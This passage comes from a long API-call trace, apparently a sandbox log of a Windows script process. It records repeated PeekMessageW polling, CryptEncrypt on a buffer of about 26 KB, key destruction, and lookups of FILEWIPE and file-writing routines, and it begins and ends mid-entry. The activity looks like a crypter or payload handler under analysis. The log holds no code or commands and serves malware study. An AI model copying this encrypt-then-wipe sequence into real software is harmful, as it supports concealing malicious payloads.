lpMsg=0xe8f3dfe090) returned 0 [0024.867] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.867] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.867] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0024.868] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.868] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064c80, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064c80*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0024.868] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.868] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.868] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.868] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.868] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.869] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.869] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.869] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.869] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.869] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.869] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.869] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.869] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.869] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.869] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.869] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.869] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.869] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.869] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.869] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.869] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x677f, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x6780) returned 1 [0024.869] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.869] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.869] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.869] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.869] CharLowerBuffW (in: lpsz="byte[26497]", cchLength=0xb | out: lpsz="byte[26497]") returned 0xb [0024.869] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.870] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.870] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.870] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.870] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.870] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41cd8f0*, pdwDataLen=0xe8f3dfdf68*=0x677f, dwBufLen=0x6780 | out: pbData=0xe8f41cd8f0*, pdwDataLen=0xe8f3dfdf68*=0x6780) returned 1 [0024.870] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.870] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.870] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.870] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.870] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.870] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.870] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.870] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.870] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.870] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.870] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.870] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.870] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.870] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.870] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.870] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.870] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.873] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.873] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.873] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.873] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.873] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.873] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0024.873] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.873] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.873] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0024.873] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.874] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0024.874] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.874] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.874] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.874] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.874] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.874] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.874] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.874] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.874] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.874] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0024.874] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.874] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.874] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.874] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.874] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.874] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.874] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.874] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.874] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.874] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.874] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.874] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.874] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.874] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.874] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.874] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.874] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.874] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.874] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.874] CryptReleaseContext (hProv=0xe8f4063410, dwFlags=0x0) returned 1 [0024.874] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.875] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.875] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.875] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.875] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.875] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.875] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.876] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.876] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.876] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0024.876] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.876] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.876] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.876] CharLowerBuffW (in: lpsz="byte[26495]", cchLength=0xb | out: lpsz="byte[26495]") returned 0xb [0024.876] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.876] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0024.876] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.876] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0024.876] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.876] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.877] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.877] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0024.877] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.877] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.877] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.877] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.877] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.877] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.877] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.877] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.877] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.877] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.877] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.877] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.877] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.877] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.877] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.877] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.877] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0024.878] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.878] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.878] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.879] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0024.879] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.879] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.879] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.879] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.879] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.879] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.879] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0024.879] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, 